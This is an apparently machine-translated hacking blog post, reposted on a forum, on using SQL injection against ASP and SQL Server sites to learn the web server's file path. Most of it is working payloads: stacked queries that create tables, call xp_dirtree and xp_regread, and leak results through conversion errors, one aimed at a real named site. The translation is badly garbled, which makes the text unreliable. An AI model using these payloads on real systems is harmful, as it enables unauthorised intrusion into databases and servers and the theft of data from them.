SQL injection path of the problem: solitary hidden lightsaber

xiaoxiao2021-03-06 73

Nothing in the afternoon

Looking at Angel wrote a path to find a meat chicken for a long time

Feeling the cattle

I found out if

Microsoft OLE DB Provider for SQL Server Error '80040E07'

Converting the varchar value '#sharedObjects' When the data type is a column of the data type INT, a syntax error occurs.

/html/showdetail_new.asp, line 9

This way, his method can not be used.

# Must be blocked

The way to get the path is even more costly.

Take a look at one of the words ~

<p>src = "http://music.ty.sx.cn/html/showdetail_new.asp?id=214302; declare @result varchar (255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM / ControlSet001 / Services / W3svc / Parameters / virtula roots', '/', @Result Output Insert Into Cyfd (GYFD) VALUES (@RESULT); - "</p> <p>Frameborder = 0 width = 500 scrolling = Noshade</p> <p>HEIGHT = 400> </ iframe></p> <p>I want to faint</p> <p>Angel method manually guess the success chance of managing the rear stage path, use xp_dirtree to get the information we want, the following method may be simple! First</p> <p>Announced once, maybe many friends are using, but it is absolutely very good! Let's write the path to the table!</p> <p>Statement: http:// http://www.xxxx.com/down/list.asp? Id = 1; CREATE TABLE DIRS (Paths Varchar (100), ID INT) -</p> <p>Return: Normal information! Explain that the construction form is successful! carry on!</p> <p>Statement: http:// http://www.xxxx.com/down/list.asp? Id = 1; INSERT DIRS EXEC MASTER.DBO.XP_DIRTREE 'C: /' -</p> <p>Return: Normal information. Note All directories written in the C drive are successful! Cool! The next step is to take a table! Violent.</p> <p>Statement: http:// http://www.xxxx.com/down/list.asp? Id = 1 and 0 <> (SELECT TOP 1 Paths from DIRS)</p> <p>Back: Microsoft Ole DB Provider for SQL Server Error '80040E07'</p> <p>A syntax error occurred while converting the varchar value '@Inetpub' to the column of the data type INT.</p> <p>By exploding the directory name in the table!</p> <p>Statement: http:// http://www.xxxx.com/down/list.asp? Id = 1 and 0 <> (Select Top 1 Paths from DIRS WHERE PATHS NOT IN ('@ @Etpub')) -</p> <p>Finally, use the same method to get the web directory in E: / Web.</p> <p>Significant asking meals!</p> <p>1. How can I get the web absolute path?</p> <p>Ha ha? This problem, I spent a long time to study. Everyone knows that Ms's things are placed in the registry. Web Location We can register? Br /> 碇碇剑   萌萌? Br /> HKEY_LOCAL_MACHINE / SYSTEM / Controlset001 / Services / W3SVC / parameters / Virtual roots uses the extended stored procedure XP_REGREAD we can get its value.</p> <p>EXEC MASTER.DBO.XP_REGREAD 'HKEY_LOCAL_MACHINE',</p> <p>'System / ControlSet001 / Services / W3SVC / Parameters / Virtual Roots', '/'</p> <p>In this way, I will take it out, but the problem is coming, I take it out, how do we return it in IE? My method is: create a temporary</p> <p>Table, the table plus one field, the type is: char 255. Oh, use it to save the value of the absolute path of the web. After the table is built, we use the method of reading the registry to save the returned value in a variable.</p> <p>Then add the record (ie the value of the variable) to the new table. In this way, the path is written to the table. submit:</p> <p>Declare @Result varchar (255) Exec Master.dbo.xp_regread 'HKEY_LOCAL_MACHINE',</p> <p>'System / Controlset001 / Services / W3SVC / Parameters / Virtual Roots', '/', @Result Output Insert INTO Temporary Table (Temporary Field Name) VALUES (@Result);</p> <p>Then, let's submit: 1 = (Select Count (*) from Temporary Table Where Temporary Field Name> 1)</p> <p>In this way, IE reports the value of the web path you just plugged in. I also tried to use the variable to report the error, let IE return the value of the variable, the result is the loss</p> <p>Losing, so I thought of the way to build a temporary table added data! Finally, we delete the temporary table of the original built.</p> <p>Don't destroy domestic hosts ~ Lis0 reminded this</p></div><div class="text-center mt-3 text-grey"> 转载请注明原文地址:https://www.9cbs.com/read-91684.html</div><div class="plugin d-flex justify-content-center mt-3"></div><hr><div class="row"><div class="col-lg-12 text-muted mt-2"><i class="icon-tags mr-2"></i><span class="badge border border-secondary mr-2"><h2 class="h6 mb-0 small"><a class="text-secondary" href="tag-2.html">9cbs</a></h2></span></div></div></div></div><div class="card card-postlist border-white shadow"><div class="card-body"><div class="card-title"><div class="d-flex justify-content-between"><div><b>New Post</b>(<span class="posts">0</span>) </div><div></div></div></div><ul class="postlist list-unstyled"> </ul></div></div><div class="d-none threadlist"><input type="checkbox" name="modtid" value="91684" checked /></div></div></div></div></div><footer class="text-muted small bg-dark py-4 mt-3" id="footer"><div class="container"><div class="row"><div class="col">CopyRight © 2020 All Rights Reserved </div><div class="col text-right">Processed: <b>0.042</b>, SQL: <b>9</b></div></div></div></footer><script src="./lang/en-us/lang.js?2.2.0"></script><script src="view/js/jquery.min.js?2.2.0"></script><script src="view/js/popper.min.js?2.2.0"></script><script src="view/js/bootstrap.min.js?2.2.0"></script><script src="view/js/xiuno.js?2.2.0"></script><script src="view/js/bootstrap-plugin.js?2.2.0"></script><script src="view/js/async.min.js?2.2.0"></script><script src="view/js/form.js?2.2.0"></script><script> var debug = DEBUG = 0; var url_rewrite_on = 1; var url_path = './'; var forumarr = {"1":"Tech"}; var fid = 1; var uid = 0; var gid = 0; xn.options.water_image_url = 'view/img/water-small.png'; </script><script src="view/js/wellcms.js?2.2.0"></script><a class="scroll-to-top rounded" href="javascript:void(0);"><i class="icon-angle-up"></i></a><a class="scroll-to-bottom rounded" href="javascript:void(0);" style="display: inline;"><i class="icon-angle-down"></i></a></body></html><script> var forum_url = 'list-1.html'; var safe_token = 'UCe85EMpbtzOLwwUtgkGviZzjmr8yXro25yPlFhkVSStxt6visTRvyJMlnypdYxHVFzz9mBE1_2B_2FWB8qg'; var body = $('body'); body.on('submit', '#form', function() { var jthis = $(this); var jsubmit = jthis.find('#submit'); jthis.reset(); jsubmit.button('loading'); var postdata = jthis.serializeObject(); $.xpost(jthis.attr('action'), postdata, function(code, message) { if(code == 0) { location.reload(); } else { $.alert(message); jsubmit.button('reset'); } }); return false; }); function resize_image() { var jmessagelist = $('div.message'); var first_width = jmessagelist.width(); jmessagelist.each(function() { var jdiv = $(this); var maxwidth = jdiv.attr('isfirst') ? first_width : jdiv.width(); var jmessage_width = Math.min(jdiv.width(), maxwidth); jdiv.find('img, embed, iframe, video').each(function() { var jimg = $(this); var img_width = this.org_width; var img_height = this.org_height; if(!img_width) { var img_width = jimg.attr('width'); var img_height = jimg.attr('height'); this.org_width = img_width; this.org_height = img_height; } if(img_width > jmessage_width) { if(this.tagName == 'IMG') { jimg.width(jmessage_width); jimg.css('height', 'auto'); jimg.css('cursor', 'pointer'); jimg.on('click', function() { }); } else { jimg.width(jmessage_width); var height = (img_height / img_width) * jimg.width(); jimg.height(height); } } }); }); } function resize_table() { $('div.message').each(function() { var jdiv = $(this); jdiv.find('table').addClass('table').wrap('<div class="table-responsive"></div>'); }); } $(function() { resize_image(); resize_table(); $(window).on('resize', resize_image); }); var jmessage = $('#message'); jmessage.on('focus', function() {if(jmessage.t) { clearTimeout(jmessage.t); jmessage.t = null; } jmessage.css('height', '6rem'); }); jmessage.on('blur', function() {jmessage.t = setTimeout(function() { jmessage.css('height', '2.5rem');}, 1000); }); $('#nav li[data-active="fid-1"]').addClass('active'); </script>